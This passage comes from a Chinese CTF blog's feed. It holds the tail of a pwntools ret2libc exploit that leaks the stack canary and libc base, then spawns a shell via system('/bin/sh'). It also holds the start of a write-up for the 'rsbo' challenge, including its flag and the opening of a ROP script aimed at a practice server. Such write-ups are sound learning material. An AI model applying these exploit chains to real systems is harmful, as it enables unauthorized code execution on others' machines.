&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;main_addr_real&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; elf_base&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; + 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;9cc&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;puts_got_real&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; elf_base&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;got&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;puts&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;puts_plt_real&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; elf_base&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;plt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;puts&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# 这里又忘了给pop_rdi加elf_base，又卡了好久SIGSEGV&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;*0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;88&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;canary&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;pop_rdi_real&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;puts_got_real&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;puts_plt_real&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;main_addr_real&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;libc_base&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; u64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recvuntil&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x7f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:].&lt;&#x2F;span&gt;&lt;span&gt;ljust&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt; libc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sym&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;puts&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;sys_libc_real&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; libc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;symbols&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;system&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; libc_base&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;binsh_libc_real&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; next&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;libc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;search&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;bin&#x2F;sh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; libc_base&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;log&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;info&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;libc_base: &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; hex&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;libc_base&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;log&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;info&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;-----------------------------------------------------&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;log&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;info&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;第一次main函数之旅到此结束&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;log&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;info&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;-----------------------------------------------------&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recvuntil&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;the length of your name:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;-1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;readline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;haha&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recvline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;*0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;88&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;canary&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;pop_rdi_real&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;binsh_libc_real&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;sys_libc_real&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;interactive&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; # 眼看前面都没报错，可最后就是程序自动结束，才想起来忘了打interactive……&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;bug3
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;bug3&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>rsbo</title>
    <published>2018-12-16T17:16:59+08:00</published>
    <updated>2018-12-16T17:16:59+08:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/rsbo/" type="text/html" />
    <id>https://emptystack.top/rsbo/</id>
    <content type="html">
      &lt;blockquote&gt;
&lt;p&gt;FLAG{Shuffling 15 not a problem, just a piece of cake...
XDDDDD...iJgZBwpBFh1TtpQR}&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;IDA&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里看到这个程序先读取了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&quot;&#x2F;home&#x2F;ctf&#x2F;flag&quot;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;作为随机数的种子，然后用随机数打乱输入的字符串再输出。一开始以为这是某种密码学&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;+&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;逆向的秘法就像选择明文攻击一样破解出从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;flag&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里前
0x10u 的内容。心想这玩意也太可怕了吧然后就上网查了下。&lt;&#x2F;p&gt;
&lt;p&gt;发现就是普通的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;rop……用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;open&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;打开&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;flag，读取，输出
flag 就可以了……&lt;&#x2F;p&gt;
&lt;p&gt;学到的是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;elf.bss()&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;返回程序的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;bss&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;段，bss&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是可读写的可以用来存取脚本里需要的内容。&lt;&#x2F;p&gt;
&lt;p&gt;然后发现&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;elf.start&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;直接返回程序入口，这样就不用怕没有符号表，_start
什么的也找不到的情况了。&lt;&#x2F;p&gt;
&lt;p&gt;还有一点感觉很巧的就是用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x27;&#x27;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;作垃圾字段可以直接跳过根据&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;read&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;返回值制造的打乱循环，以后可以统一替代毫无意义的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x27;x&#x27;（又看了眼作业截图发现学长提醒过了…&lt;span class=&quot;halt&quot;&gt;…&lt;&#x2F;span&gt;）&lt;&#x2F;p&gt;
&lt;p&gt;脚本：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; pwn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; *&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;context&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;terminal&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; = [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;deepin-terminal&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;-x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;sh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;-c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; ]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# io = process(&amp;quot;.&#x2F;rsbo&amp;quot;, env={&amp;#39;LD_PRELOAD&amp;#39;: &amp;#39;.&#x2F;libc-2.23.so.i386&amp;#39;})&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; remote&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;hackme.inndy.tw&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 7706&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; ELF&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;.&#x2F;rsbo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
